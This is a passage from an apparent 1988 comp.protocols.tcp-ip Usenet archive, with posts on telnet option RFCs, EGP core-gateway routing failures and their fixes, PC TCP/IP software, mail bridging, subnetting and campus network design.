would handle flow control, echo, and everything else for itself.  It
would be nice to believe that character mode would simply die upon
issuance of the line mode RFC.  If you believe that, then it might
seem unnecessary to be doing new options for character mode telnet.
Unfortunately, line mode telnet is going to require kernel support.
Past experience suggests that sites without source will have to wait
years before they get support for it on all machines.  A reasonable
character mode telnet can be implemented with the facilities available
in BSD 4.3, and possibly 4.2.  (The issue with 4.2 is handling telnet
sync.  Without OOBINLINE it's not clear whether this can really be
made to work.  The 4.3 version of telnet tries to work on 4.2 systems.
However our experience under SunOS 3.2 -- which uses BSD 4.2
networking -- was not entirely good.  I ended up adding OOBINLINE to
SunOS 3.2.)

-----------[000155][next][prev][last][first]----------------------------------------------------
Date:      15 Dec 88 20:49:24 GMT
From:      craig@NNSC.NSF.NET (Craig Partridge)
To:        comp.protocols.tcp-ip
Subject:   Networks and Harm


Hi folks:

    Is anyone currently using computer networks in a situation in which
if they were denied access to the network, a human being would suffer
harm (e.g., suffer injury or even die)?

    I ask because I'm (finally) writing up a paper on fair allocation
of resources in computer networks and want to know if, in fact, denial
of service has consequences substantially more severe than simply forcing
an application to try again later.

Thanks,

Craig

-----------[000156][next][prev][last][first]----------------------------------------------------
Date:      15 Dec 88 21:05:46 GMT
From:      morrison@accuvax.nwu.edu (Vance Morrison )
To:        comp.dcom.lans,comp.protocols.tcp-ip
Subject:   MAIL Programs for LANs and internet mail?

Hello,

I think this question has been asked before, but the state of the
art changes so quickly in LAN technology that it deserves to be 
asked again.

My problem is that I need a Mail program for PC Lan that can 
coexist (that is bridge mail between) with Minicomputers running
Internet style mail (SMTP).   In particular I need a solution 
for Apple Localtalk networks connected via a Fastpath, and a
Novell network connected in a yet to be determined way.  We have
some local solutions to these problems (if anyone is interested
I can share what I know) but my manager whats to make sure that
we are not missing any potential solutions.

Thanks

Vance Morrison
Northwestern Univ.

-----------[000157][next][prev][last][first]----------------------------------------------------
Date:      15 Dec 88 23:53:46 GMT
From:      cpw%sneezy@LANL.GOV (C. Philip Wood)
To:        comp.protocols.tcp-ip
Subject:   Re:  MILNET/BBN IMP/ACC LH-DH/4.3BSD VAX Connection

At 12:30 this afternoon I put a new vmunix with the imp stuff from
ucbarpa.berkeley.edu/4.3/imp.tar.  I have not had an observable problem
since then.  But, it's early yet.  Of course the message about lost
rfnms has been removed from if_imp.c.  So, I'll have to rely on other
symptoms, or lack of.

Phil Wood,  cpw@lanl.gov

-----------[000158][next][prev][last][first]----------------------------------------------------
Date:      16 Dec 88 02:57:32 GMT
From:      larry@tapa.UUCP (Larry Pajakowski)
To:        comp.protocols.tcp-ip,comp.protocols.tcp-ip.ibmpc
Subject:   Excelan Telnet woes.


I'm looking for some suggestions to problems I'm having with Excelan's Telnet
for the IBM PC under DOS.  First let me make it very clear that technically
Excelans software is very very sound.  While technically good Telnet is almost
unusable for me and other users where I work.  Here's why.

We have a Compaq 386 runing Xenix-386.  Works well.  We bought the Excelan
Ethernet hardware and software to use the Compaq as a disk server and
development platform.  The disk server works well though slowly (50% faster
than my DOS floppy and .2 the speed of my DOS hard disk). 
Terminal access via Telnet is awful.  The screen update is very slow.  I can
type faster than vi can insert characters.  Part of this is caused by having
to use BIOS screen access since Excelan's Telnet doesn't have a "no snow"
option for CGA.  Though slow it is acceptable the keyboard isn't.

The application we develop using a 4GL heavily uses function keys.  Excelan
some what capriciously uses 2 of the function keys makeing them unavailable
to our application.  About half of the numeric key pad generates anything
usable and in some modes send rather unamusing things like ^D (EOT) for page
down.  Unix/Xenix doesn't like that one bit (it is documented though as vi
mode).

I believe the cause of all this is a slavingly accurate vt-220 emulation.  If
the vt-220 didn't have a key neither does the DOS implimentation.  Technically
corect but where was the marketing input?  What about us MERE USERS?

So here I sit with 13 DOS developers and users unable to do development or
testing of our application under Xenix.  Any comments or source to
alternate versions of Telnet or tricks would be extremely welcome.  Anybody
tried keyboard remappers or terminal emulators like Fansi Console?

Oh yes if anyone cares all softare is version 3.3.

Thank's in advance.

Yours in frustration

Larry Pajakowski
larry@abtcser.UUCP or
larry@tapa.UUCP or
1-312-937-1153 days.

-----------[000159][next][prev][last][first]----------------------------------------------------
Date:      Fri, 16 Dec 88 11:27:48 PST
From:      Mark Lottor <MKL%SRI-NIC.ARPA@VM.USC.EDU>
To:        Local BBoard - Postmaster <#TCP-IP@MVSA.USC.EDU>

Does there exist any TCP/IP based FTP, Telnet, or SMTP server
implementations for PC's.   I know that the user protocols have all been
implemented for a PC...   but what kind of server softwar is available.

                         Thanks,
                         Rich Verjinsk

******************************************************
* RICHARD VERJINSKI        McLEAN RESEARCH CENTER    *
* UNISYS CORP.            verjinsk@.mcl.unisys.com   *
* 8201 GREENSBORO DR.           10.8.0.111           *
* McLEAN, VA 22102                                   *
* (703) 847-3475                                     *
******************************************************




-----------[000160][next][prev][last][first]----------------------------------------------------
Date:      16 Dec 88 09:18:19 GMT
From:      tcp-ip-RELAY@SRI-NIC.ARPA
To:        comp.protocols.tcp-ip
Subject:   (none)

(UCLA/Mail V1.410 M-ACP-9040-35); Thu, 15 Dec 88 16:02:33 PST
Received: from VM.USC.EDU by MVSA.USC.EDU
    with TCP; Thu, 15 Dec 88 16:02:32 PST
Received: from USCVM.BITNET by VM.USC.EDU (IBM VM SMTP R1.2) with BSMTP id 4090;
 Thu, 15 Dec 88 16:04:04 PST
Received: by USCVM (Mailer X1.25) id 4087; Thu, 15 Dec 88 16:04:02 PST
Date:         Thu, 15 Dec 88 12:56:20 PST
Reply-To:     <TCP-IP%SRI-NIC.ARPA@VM.USC.EDU>
Sender:       "(TCP-IP ARPA Discussions)" <TCPIP-L@VM.USC.EDU>
Comments:     Resent-From: Mark Lottor <MKL@SRI-NIC.ARPA>
Comments:     Originally-From: Craig Partridge <craig@NNSC.NSF.NET>
Comments:     Warning -- original Sender: tag was TCPIP-L@BYUADMIN
From:         Mark Lottor <MKL%SRI-NIC.ARPA@VM.USC.EDU>
Subject:      Networks and Harm
To:           Local BBoard - Postmaster <#TCP-IP@MVSA.USC.EDU>


Hi folks:

    Is anyone currently using computer networks in a situation in which
if they were denied access to the network, a human being would suffer
harm (e.g., suffer injury or even die)?

    I ask because I'm (finally) writing up a paper on fair allocation
of resources in computer networks and want to know if, in fact, denial
of service has consequences substantially more severe than simply forcing
an application to try again later.

Thanks,

Craig

-----------[000161][next][prev][last][first]----------------------------------------------------
Date:      Fri, 16 Dec 88 16:45 CST
From:      John Naples (815) 753-1875                       <A01JRN1%NIU.BITNET@CUNYVM.CUNY.EDU>
To:        Campus size LANs                         <BIG-LAN@SUVM>, IBM networking Group                     <IBM-NETS@BITNIC>, TCP/IP Group                             <TCP-IP@SRI-NIC.ARPA>
Subject:   Subnet classes
Please excuse the cross-posting to TCP/IP, BIGLAN, and IBMNETS.

We are in the thinking/planning stage for our campus network.
We are considering creating different classes of subnets
analogous to the classes of internet addresses.  In his TCP/IP
book Comer says that this is possible but that most sites prefer
fixed subnet masks.

Are there sites with subnet classes?  If so, what has your
experience been?

John Naples
-----------[000162][next][prev][last][first]----------------------------------------------------
Date:      16 Dec 88 11:36:45 GMT
From:      verjinsk@MCL.UNISYS.COM (Richard Verjinski)
To:        comp.protocols.tcp-ip
Subject:   (none)


Does there exist any TCP/IP based FTP, Telnet, or SMTP server
implementations for PC's.   I know that the user protocols have all been
implemented for a PC...   but what kind of server softwar is available.

                         Thanks,
                         Rich Verjinsk

******************************************************                       
* RICHARD VERJINSKI        McLEAN RESEARCH CENTER    *                       
* UNISYS CORP.            verjinsk@.mcl.unisys.com   *                       
* 8201 GREENSBORO DR.           10.8.0.111           *                       
* McLEAN, VA 22102                                   *                       
* (703) 847-3475                                     *                       
******************************************************

-----------[000163][next][prev][last][first]----------------------------------------------------
Date:      16 Dec 88 17:47:11 GMT
From:      cpw%sneezy@LANL.GOV (C. Philip Wood)
To:        comp.protocols.tcp-ip
Subject:   Re:  RFNMs lost message

I mistakenly stated that the rfnm message had been removed from if_imp.c.
I need a vacation.

Sorry,

Phil Wood,  cpw@lanl.gov

-----------[000164][next][prev][last][first]----------------------------------------------------
Date:      Fri, 16 Dec 88 19:34:39 GMT
From:      henry@utzoo.uucp (Henry Spencer)
To:        comp.protocols.tcp-ip
Subject:   Re: RFC's for telnet terminal speed and flow control

In article <Dec.15.15.03.23.1988.1873@geneva.rutgers.edu> hedrick@geneva.rutgers.edu (Charles Hedrick) writes:
>Note that two new RFC's have just appeared, for telnet options to
>propagate terminal speed and to toggle flow control...

People not on the Internet, who have to get RFCs by more laborious routes,
sure would appreciate it if the RFC numbers were given in such announcements.
-- 
"God willing, we will return." |     Henry Spencer at U of Toronto Zoology
-Eugene Cernan, the Moon, 1972 | uunet!attcan!utzoo!henry henry@zoo.toronto.edu

-----------[000165][next][prev][last][first]----------------------------------------------------
Date:      16 Dec 88 21:34:51 GMT
From:      kuldip@rohini.uucp (Kuldip Pathak)
To:        comp.unix.questions,comp.protocols.tcp-ip
Subject:   Unix Domain Name Server

I am interested in finding out any domain name server implementations for
unix systems (preferably public domain implementations of DNS). Please
e-mail or post. Thanks.
Kuldip Pathak               $   ...!{utzoo,utgpu}!bnr-vpa!bnr-fos!kuldip%rohini
(613) 765 4614              $  Bell Northern Research, Ottawa.
================================================================================

-----------[000166][next][prev][last][first]----------------------------------------------------
Date:      16 Dec 88 22:45:00 GMT
From:      A01JRN1@NIU.BITNET (John Naples  753-1875, 815)
To:        comp.protocols.tcp-ip
Subject:   Subnet classes

Please excuse the cross-posting to TCP/IP, BIGLAN, and IBMNETS.

We are in the thinking/planning stage for our campus network.
We are considering creating different classes of subnets
analogous to the classes of internet addresses.  In his TCP/IP
book Comer says that this is possible but that most sites prefer
fixed subnet masks.

Are there sites with subnet classes?  If so, what has your
experience been?

John Naples

-----------[000167][next][prev][last][first]----------------------------------------------------
Date:      17 Dec 88 02:43:01 GMT
From:      edb@fai.UUCP (Edward Bunch)
To:        comp.dcom.lans,comp.protocols.tcp-ip
Subject:   Re: MAIL Programs for LANs and internet mail?

In article <417@accuvax.nwu.edu.NWU.EDU> morrison@accuvax.nwu.edu (Vance Morrison ) writes:
>I need a Mail program for PC Lan that can 
>coexist (that is bridge mail between) with Minicomputers running
>Internet style mail (SMTP).   In particular I need a solution 
>for Apple Localtalk networks connected via a Fastpath, and a
>Novell network connected in a yet to be determined way.  

I don't know about the Novell network but, I'm Beta testing Mail*Link by 
Starnine that will solve the SMTP for Mac's if you have a Sun 3 running
3.x. It should be going to pre-release next week. Its not SMTP directly from
the Mac yet, but it does the job. 

Here's the breakdown:
Two software bridges.  One on the Sun and one on the Mac.
The Sun software runs daemon and registers itself with nbpd. Oh yea, you need
TOPS nbpd. On the Mac side you use CE Software's QuickMail and Starnine's
mail-bridge just like any other. Supports nice features like enclosed mac
binaries, with uuencode on the Sun.

Starnine tells me that they are working on a direct SMTP version also.
QuickMail is a really nice interface for those easily spooked secretaries.

Disclaimer: I don't own any stock in any of the above mentioned companies.

 
-- 
Edward A. Bunch                       UUCP: {uunet,amdahl,sun}!fai!edb
Fujitsu America, Inc.                 DOMAIN: edb@fai.com
Computer Support and Administation.

-----------[000168][next][prev][last][first]----------------------------------------------------
Date:      17 Dec 88 17:12:04 GMT
From:      slevy@UC.MSC.UMN.EDU ("Stuart Levy")
To:        comp.protocols.tcp-ip
Subject:   Re:  core routing capacity exceeded?

We're on the ARPAnet and have also been having trouble talking to the core
gw's this past week.  Like yours, our gated has also been crashing mysteriously
(about once per day) which it rarely did before.  We're running 1.3.1.73,
the October 3rd beta.tar.Z.

It seems the ARPAnet cores are frequently telling us to cease, so that
sometimes we've been peering with no core gateway even though several
are reachable.

However, we've been having trouble with our ARPAnet interface over about the
same period, so it may be this is all our fault and unrelated to what you're
seeing.

	Stuart Levy

-----------[000169][next][prev][last][first]----------------------------------------------------
Date:      17 Dec 88 23:25:03 GMT
From:      mcc@ETN-WLV.EATON.COM (Merton Campbell Crockett)
To:        comp.protocols.tcp-ip
Subject:   Re:  core routing capacity exceeded?

Stuart:

We've experienced similar problems since the upgrade to PSN 7.0 on the MILNET.
We had been running EGPUP and had to change to GATED due to the increased
number of routes.  I believe there is a newer version of GATED dated around
the end of November.  Contact my colleague Steve Schultz for more details.

	sms@etn-wlv.EATON.COM

Since Steve maintains the systems, he can give you much more accurate inform-
ation.  He generally logs in several times over the weekend to keep tabs on
the system.

Merton

-----------[000170][next][prev][last][first]----------------------------------------------------
Date:      19 Dec 88 02:19:12 GMT
From:      hedrick@geneva.rutgers.edu (Charles Hedrick)
To:        comp.protocols.tcp-ip
Subject:   Re: RFC's for telnet terminal speed and flow control

Sorry for not giving the RFC numbers.  I forgot that not everybody
gets the RFC announcements from NIC.  They are

1080  Hedrick, C.  Telnet remote flow control option.  1988 November; 4 p. 
      (6688 bytes)

1079  Hedrick, C.  Telnet terminal speed option.  1988 December; 3 p. (4942 
      bytes)

I can mail them to you if you can't get them from the NIC.

-----------[000171][next][prev][last][first]----------------------------------------------------
Date:      19 Dec 88 02:27:52 GMT
From:      peter@myst.uwo.ca (Peter Marshall)
To:        comp.protocols.tcp-ip
Subject:   LPR/LPD for NRC's Fusion VMS IP implementation?

We are looking for software that interfaces to the BSD unix queuing
system for VMS.  We are using Fusion TCP/IP software on a 6230 machine.
Up to now we have been using CMU's implementation and have had good
service out of their VMS PRINT queues <--> lpd code (except that it was not
written in C!) (on older VAXes).
--
--
Peter Marshall, Data Comm. Manager
CCS, U. of Western Ontario, London, Canada N6A 5B7
(519)661-2151x6032 
peter.marshall@uwo.ca pm@uwovax (BITNET); peter@julian.uucp

-----------[000172][next][prev][last][first]----------------------------------------------------
Date:      19 Dec 88 14:26:30 GMT
From:      craig@CWH.CAM.NBS.GOV (Craig Hunt)
To:        comp.protocols.tcp-ip
Subject:   Re:  core routing capacity exceeded?

Locally we have been having a very similar problem so I don't
think it is your ARPAnet interface.  We are on the Milnet and
SURAnet.  Since ~the beginning of December we have had difficulty
maintaining our Milnet routes.  Routes via milnet age and die
because we stop receiving updates from the core gateways.  Local
actions (restarting gated, even rebooting) have no effect.
Occasionally the routes will again start to flow.  We continue to
run because of routes through SURAnet to the remote hosts but we
notice the following symptoms.  Some routes will not be picked up
by alternate routes through SURAnet and we receive "network
unreachable" errors when attempting to connect to the remote
host.  In addition remote hosts are apparently not getting
routing information about us.  The symptom of this is to be able
to reach a remote host from our gateway system which has a 26
address, but not being able to reach the same remote system from
any system interior to our gateway.  We get "connection time out"
errors because the remote system has lost the route to 129.6.  I
have been told by the Milnet NOC that they are working on this.

If you discover anything please let me know,
---Craig Hunt

-----------[000173][next][prev][last][first]----------------------------------------------------
Date:      19 Dec 88 21:33:00 GMT
From:      smb@ulysses.homer.nj.att.com (Steven M. Bellovin)
To:        comp.protocols.tcp-ip
Subject:   Proposed Telnet window size option

The proposed window size option is good as far as it goes; perhaps, though,
that it should include the size in pixels (whatever they are) as well.
More and more terminals are bit-mapped; the information is probably
going to be needed.  If the terminal doesn't support the concept, 0 can
be passed in those fields.

		--Steve Bellovin

-----------[000174][next][prev][last][first]----------------------------------------------------
Date:      20 Dec 88 03:06:23 GMT
From:      dwaitzma@bbn.com (David Waitzman)
To:        comp.protocols.tcp-ip
Subject:   Future of Telnet and Re: Proposed Telnet window size option

In article <11024@ulysses.homer.nj.att.com> Steven M. Bellovin writes:
>The proposed window size option is good as far as it goes; perhaps, though,
>that it should include the size in pixels (whatever they are) as well.
>More and more terminals are bit-mapped; the information is probably
>going to be needed.  If the terminal doesn't support the concept, 0 can
>be passed in those fields.

Thank you for the comments on my RFC (RFC-1073).

The option, as implemented at Carnegie-Mellon University, was a more
general window information option, that included the display location
(X specific), and the terminal size in pixels.  For general use, the
option was simplified.  A very complex window/terminal information
option, with lots of suboptions, could be difficult.  It wasn't clear
to me how to handle negotiation of suboptions without reimplementing
the regular telnet option negotiation code.  In the near future, we
shouldn't use up the first level of telnet option numbers, so just
creating new options, with the NIC's blessing, seems ok to me.

One problem with a proliferation of options is the inability to
negotiate a group of related options at once.  Suppose there are three
important telnet options relating to a particular windowing system, if
one end of the connection accepts the first two, and declines the
third option, the other end of the connection might be confused.  This
is why my telnet window size RFC passes the row and column sizes in
one option- they are usually too tighly bound for either to be
meaningful without the other.  By allowing a 0 size to mean that the
row or column size is not being sent, I accommodate strange cases.
This is, perhaps, a fine line.

Future telnet options might include (ordered from highest to lowest
probability of definition):
	- pixel size, as you suggested;
	- user id's/password (I believe someone is working on this);
	- window location (X specific, and for other windowing systems);
	- sending of mouse position, and button pushing;
	- available display field types (bold, inverse, underlined), etc,
	  along with a way to specify them;
	- available colors, along with a way to specify them;
        - "         fonts   """;
        - "         voice/sound channels """.

Basically, we might one day telnet to a host, and run a color WYSIWYG
word processor on it through the telnet connection.  Of course, this
is re-inventing a networked window system.  So, where do we draw the
line for what telnet should do?

In summary, if you want to pass pixel size, please write a new telnet
option RFC.

-david (617)873-4323, dwaitzman@bbn.com

-----------[000175][next][prev][last][first]----------------------------------------------------
Date:      20 Dec 88 04:30:52 GMT
From:      MKL@SRI-NIC.ARPA (Mark Lottor)
To:        comp.protocols.tcp-ip
Subject:   RFC1033 typos

RFC 1033 had some text formatter errors in it the day it came out.
They were fixed the next day.  If you got a copy of it the first
day it was announced, you got a messed up version.
-------

-----------[000176][next][prev][last][first]----------------------------------------------------
Date:      Tue, 20 Dec 88 19:54:09 -0500
From:      Mike Brescia <brescia@PARK-STREET.BBN.COM>
To:        egp-people@PARK-STREET.BBN.COM, tcp-ip@sri-nic.ARPA
Subject:   EGP and ROUTING
People,

Various different sounding routing complaints have been coming in via the
egp-people mailing list, the tcp-ip mailing list, the gated-people mailing
list, private mail, and telephone.  Some messages are extracted at the end.

Problems reported:

1. My host X cannot get to host Y.

2. My gateway X has no route for net Y.

3. My gateway X cannot run its egp with core server S (or T, or U).

4. My gateway X runs egp, and gets no routing info (NR messages) from core.

5. My gateway X runs egp, and gets partially garbled routes from core.

Some explanations:

1. is the simplest if the person at host X can report the results of
   "netstat -r" and point out the default or other gateways used to get to the
   net where host Y sits; conversely, I hope that X could call Y and ask the
   same sort of questions for the return path.  If X and Y cannot communicate,
   then we often need to figure out whether the problem is on the path from X
   to Y or the reverse path back from Y to X.

   Given the hosts are O.K., the question recurses to one of the gateways
   involved in problems 2-5.

2. Have to break this down, see by running some EGP trace logs on your gateway
   X whether it is problem 3, 4, or 5.

3. Growth!  Some of the core gateways were oversubscribed, and the total
   neighbor spaces (peer slots?) available, especially on milnet, was too
   much.

   The fix here was to, yet again, squeeze more net and neighbor space in to
   the LSI11 core gateways.  Steve Atlas has been working hard to maintain
   these bears.  The 3 egp core servers on the Arpanet, and 2 out of the 3 on
   the Milnet, have been upgraded today.

4. Growth!  Some versions of EGP have suffered from the growing number of nets
   reported in the NR messages, when the reassembled packet size crept over
   2K bytes.  Some were able to recompile with the EGPPACKETSIZE constant set
   larger, like 4K.  Some noted that not all the modules needed were
   recompiled by the normal 'make' rules, and recommended recompiling the
   whole EGPUP program.

   Some sites run 4.3bsd unix, and were able to incorporate fixes mentioned on
   the egp-people list advising how to use the 'setsockopt' system call to
   assign more buffering to the egp connection, so that fragments of large
   packets could be reassembled and delivered to the egp process.

   Some sites run the 'gated' version of EGP, and get some great support from
   the people at Cornell (gated-people-request@devvax.tn.cornell.edu).

5. Growth! and a bug in the LSI11 egp code.  Bug was introduced in the version
   that began handling more than 256 nets.  Caused the info in the NR message
   to be sent with the distances no longer in ascending order.  Caused there
   to be more than 255 distances reported for a single neighbor, trying to
   stuff that number (e.g. 264) into an 8 bit field.

   This afternoon, Tuesday 12/20, the fix for this has been put in the 5 egp
   servers that have been reloaded so far (mentioned in 3 above).

Keep those packet dumps coming.

Mike Brescia
BBNCC Gateway Development Group
800-492-4992 (or 617-873-3662)

------------------- some forwarded messages, excerpted ---------------

Date:     Sat, 17 Dec 88 1:04:11 EST
From: Tim Smith (USNA|tcs) <tsmith@BRL.MIL>
To: control@bbn.com, tcp-ip@sri-nic.ARPA, gated-people@devvax.TN.CORNELL.EDU
Subject:  core routing capacity exceeded?
Message-Id:  <8812170104.aa18644@SEM.BRL.MIL>

Morning all,

I have been experiencing a bit of trouble acquiring routing
information from the core gateways over the last few days. We use
gated (version 1.3.1.36) to speak EGP to the core gateways and have
noticed that gated has not been providing nearly as good routing
information as it usually does- we have been losing contact with the
core gateways and gated has been mysteriously dying. 

I turned on tracing and came across the following:
[...]
EGP RECV 26.1.0.65 -> 26.7.0.102 Sat Dec 17 00:10:21 1988
vers 2, type ACQUIRE(3), code REFUSE(2), status INSUFFICIENT RESOURCES(3), 
AS# 1, id 1

EGP RECV 26.1.0.40 -> 26.7.0.102 Sat Dec 17 00:10:21 1988
vers 2, type ACQUIRE(3), code REFUSE(2), status INSUFFICIENT RESOURCES(3), 
AS# 2049, id 1

EGP RECV 26.3.0.75 -> 26.7.0.102 Sat Dec 17 00:10:21 1988
vers 2, type ACQUIRE(3), code REFUSE(2), status INSUFFICIENT RESOURCES(3), 
AS# 1, id 1

Is it possible that the routing tables have grown too large and
exceeded the core's capacity? What other reasons are there for the
insufficient resources message?
[...]
What does everyone else think?

	Tim Smith -[hp]ostmaster and general network person

------------------- some forwarded messages, excerpted ---------------

Return-Path: <cal@okc-unix.ARPA>
Message-Id: <8812192039.AA15146@okc-unix.ARPA>
Date: Mon Dec 19 14:39:15 1988
From: cal@okc-unix.ARPA (Charles Leach)
Subject: EGP Sick?
To: egp-people@bbn.com

For the past week or see, EGP has been very intermittent in acquiring
routes. Is there any reason for this behavior or is it virus/worm
fallout that we can come to expect?

charles..

------------------- some forwarded messages, excerpted ---------------

To: cal@okc-unix.ARPA (Charles Leach)
cc: egp-people
Subject: Re: EGP Sick? 
In-reply-to: Your message of Mon, 19 Dec 00 19:88:15 +0000.
             <8812192039.AA15146@okc-unix.ARPA> 
Date: Mon, 19 Dec 88 16:50:56 -0500
From: Mike Brescia <brescia@park-street>

     For the past week or see, EGP has been very intermittent in acquiring
     routes. Is there any reason for this behavior ...

Two factors here.

1. the size of the Net Reachability message sent by the core is growing.  If
your host kernel cannot reassemble and deliver, or your EGP cannot receive
packets much larger than 2K (recommend 4K), you will probably see EGP
apparently stop receiving any net reachability information at all.  The
Acquire cycle works, the Hello cycle works, but when you send a Poll, you will
receive 2 or 3 fragments, totalling more than 2,000 bytes.

2. A bug has just been exhibited by Walter Prue at ISI, where the LSI11 code
sending an EGP message sends the NR information with the distances out of
order, creating the apparent need for stuffing more than 255 distance reports
through a single 'neighbor'.  The result is that your EGP will receive some NR
message, but only a few nets show up in in your routing table, because
the NR message is badly formed.

In the first case, your EGP trace will probably show no NR message at all; in
the second case, a trace should show some NR message received, but with some
error condition.

We are dragging out the big guns to fix this second problem ASAP.

[BANG..:-]

------------------- some forwarded messages, excerpted ---------------

Date: 8 Dec 88 04:11:11 GMT
From: haven!aplcen!aplcomm!trn%aplcomm.jhuapl.edu@mimsy.umd.edu  (Tony Nardo)
Organization: Johns Hopkins University/APL (Baltimore, Md.)
Subject: Is someone playing games with the MILNET/ARPANET interface?
Message-Id: <2648@aplcomm.jhuapl.edu>
Sender: tcp-ip-relay@sri-nic.arpa
To: tcp-ip@sri-nic.arpa

I am on a MILNET site.  I have noticed three times in the past week (and
twice in the past two days) that, while I can not reach a site directly, I
*can* reach it thru BRL.ARPA.  For example,

	finger @maryland.arpa

will come back with a "Network is unreachable" response, but

	finger @maryland.arpa@brl.arpa

gives the desired "finger" output.  Likewise, while I can't send mail directly
to a site without it languishing in a mail queue (the name server can't connect
to resolve the address), I *CAN* send the mail thru BRL.ARPA.

This situation did not arise until CNNC's decision to yank the MILNET/
ARPANET link for "technical difficulties".  The first two times, the problem
eventually "cleared itself".  This is the third time the problem has arisen.


Is someone still playing games with the MILNET/ARPANET interface?  From my
rather untutored perspective, it looks as if "routed" is dying or being
deliberately killed somewhere.

Anyone have any insights?

[...]

[ check routing ? - m ]
-----------[000177][next][prev][last][first]----------------------------------------------------
Date:      20 Dec 88 13:41:48 GMT
From:      hal@GATEWAY.MITRE.ORG (Hal Feinstein)
To:        comp.protocols.tcp-ip
Subject:   Network Security


 
avsd.childers@tycho reports

>>We need some *serious* authentication capability in SNMP.
> I hope its not mandatory ... it adds overhead that's
> not always needed.

I'm not sure I'm buying this just yet. Sure, big authentication
subsystems with trusted identity servers are overhead, but
simpler schemes, not as completely secure will do wonders 
against 99% of the hacks your guarding against. As much as I
hate them, passwords are a start in this direction.  If you
can keep people from fooling around with some form of key
variable inside the gateway, switch, or what-have you, then
pairwise keying works fine.  There is a whole spectrum of 
authentication measures available, depending on your
requirements.

Overhead?  -try some of the fast algorithms.  You don't need
software DES or 3,000 bit public keys for most (but not all)   
commercial stuff. 

-----------[000178][next][prev][last][first]----------------------------------------------------
Date:      20 Dec 88 14:18:16 GMT
From:      eli@spdcc.COM (Steve Elias)
To:        comp.protocols.tcp-ip,comp.dcom.lans
Subject:   wanted: ethernet test equipment

does anyone have any pointers to equipment which can be used
to test ethernets at the logical level?  i'm interested in 
something that can examine packets for proper delivery and
report some nifty statistics about packet loss, etc.

thanks in advance...

email replies to spdcc!eli@harvard.edu
or feel free to call at 617 890 6844 / 617 239 9406

-----------[000179][next][prev][last][first]----------------------------------------------------
Date:      20 Dec 88 16:46:01 GMT
From:      dws@cseg.uucp (David W. Summers)
To:        comp.sources.wanted,comp.protocols.misc,comp.protocols.tcp-ip
Subject:   'Talk' command and protocol

Hello NetLanders,
  We have a 'talk' command on our Harris HCX-7 computer that allows inter-
computer 'talk' to take place.  We are a binary site and also have a local area
EtherNet network with a growing contingent of miscellaneous computers. Recently
I 'FTP'ed the 'talk' command and the 'talkd' daemon source code from
uunet.uu.net.  Then, to my horror (1/2 :-) I found that the CTL_MSG structure
defined in <protocols/talkd.h> was different for the Berkeley version and the
Harris version that I found by talking to Harris.  This means that the Harris
version and the Berkeley version do NOT get along at all and completely ignore
each other.  To make matters worse, we have a HP 835 (I believe) and I haven't
finished testing it yet but it may be different from one or both of the above
versions!

   My main question is:  Is there a standard yet for this 'talk' protocol?  If
so, where could I find it?  If not, then why not, and what would it take to
produce one?  What is strange is that on each of our different types of
computers, there was a 'talk   517/udp' entry in the /etc/services file which
led me to believe that everyone knew about it.  However, I could find NOTHING
that even referenced it during my search of the RFC's.

   My only solution at the moment seems to be to heavily hack the code to work
for both Harris and Berkeley versions.....Hopefuly the HP will conform to one
of those.

   As usual, any ideas, suggestions, pointers, or other help would be very much
appreciated.

   Thanks in advance!
   - David Summers
   (dws@cseg.uucp)

-----------[000180][next][prev][last][first]----------------------------------------------------
Date:      Tue, 20 Dec 88 22:46:24 EST
From:      rick@seismo.CSS.GOV (Rick Adams)
To:        brescia@PARK-STREET.BBN.COM, egp-people@PARK-STREET.BBN.COM, tcp-ip@SRI-NIC.ARPA
Subject:   Re:  EGP and ROUTING
When are the (now legendary and semi-mythical) Butterfly gateways
supposed to replace the 11/73s and solve this out of memory problem.

---rick
-----------[000181][next][prev][last][first]----------------------------------------------------
Date:      20 Dec 88 18:11:31 GMT
From:      NETWORK@FRSAC11.BITNET
To:        comp.protocols.tcp-ip
Subject:   Various queries

I would like opinions and informations on the following problem :

We have a large research campus, with potentially several thousands of
connected computers (PC, workstations and mainframes).
There is three main protocols to be run over Ethernet :
TCP/IP, XNS and DECNet.
(We run SNA, X25 and Hyperchannel, too)

Currently there are some Fiber Optic links from the various
buildings, to a passive star located in the Telecom unit.
(We use Codenoll Fiber Optic transceiver (3310/3311) and
3Com Multiconnect star)

Each Ethernet is linked to the star through a filter/repeater, to
make an Extended Ethernet. (We use Micom IB30)

The evolution is going toward a FDDI backbone, but in the mean time
we need to have the network running.

Now the questions :

Is it reasonable to do a single network carrying the 3 protocols,
i.e. a level 2 network ?
(By level 2 I mean MAC level Ethernet frames, thus not building
the network with IP gateways between subnets, and with mixing of
the 3 protocols on the same media)

Or is it better to do 3 parallel networks ? (DECnet is not so
widespread, but may become so, and XNS is used only by the PCs
doing administrativia, under 3Com system) (The PC networks were
planned to exchange informations through X25 gateways, low level
traffic, integrated into the general X25 net.)

What kind of trouble can we expect from a level 2 network ?
(For IP we would use a single class B network)

Are the IB30 enough to isolate Ethernets from wild computers going
bezerk on their network ? (We have the case of a uVax Ultrix
making 3 suns crazy with burst of broadcast ARP packets, playing
ping-pong, and literally stopping the sun 2/260 for several
seconds every minute or so... a generalisation of this will
can make the network unusable quite fast)

Why all University campus network scheme I have seen do not
seems to mix protocols ?

The other possibility is to make a IP only network, with
gateways between subnets. (what kind of hardware can we use as
gateway is an other questions : PCs with the proper software
and some Ethernet controler cards, or Suns with more than
two Ethernet controller cards, or ...?)

Is there any way to make a single physical gateway do the
routing for the 3 protocols simultaneoulsly ?

The latest, and more theoretical, question :
Is it possible to have a class C network used as intermediate
between subnets of a single class B network ?

regards,

Jean-Pierre H. Dumas

network@frsac11 (bitnet)
network%frsac11.bitnet@cunyvm.cuny.edu (arpanet)
dumas@sumex-aim.stanford.edu (arpanet)

-----------[000182][next][prev][last][first]----------------------------------------------------
Date:      Tue, 20 Dec 88 18:11:31 GMT
From:      NETWORK%FRSAC11.BITNET@CUNYVM.CUNY.EDU
To:        tcp-ip@sri-nic.arpa
Subject:   Various queries
I would like opinions and informations on the following problem :

We have a large research campus, with potentially several thousands of
connected computers (PC, workstations and mainframes).
There is three main protocols to be run over Ethernet :
TCP/IP, XNS and DECNet.
(We run SNA, X25 and Hyperchannel, too)

Currently there are some Fiber Optic links from the various
buildings, to a passive star located in the Telecom unit.
(We use Codenoll Fiber Optic transceiver (3310/3311) and
3Com Multiconnect star)

Each Ethernet is linked to the star through a filter/repeater, to
make an Extended Ethernet. (We use Micom IB30)

The evolution is going toward a FDDI backbone, but in the mean time
we need to have the network running.

Now the questions :

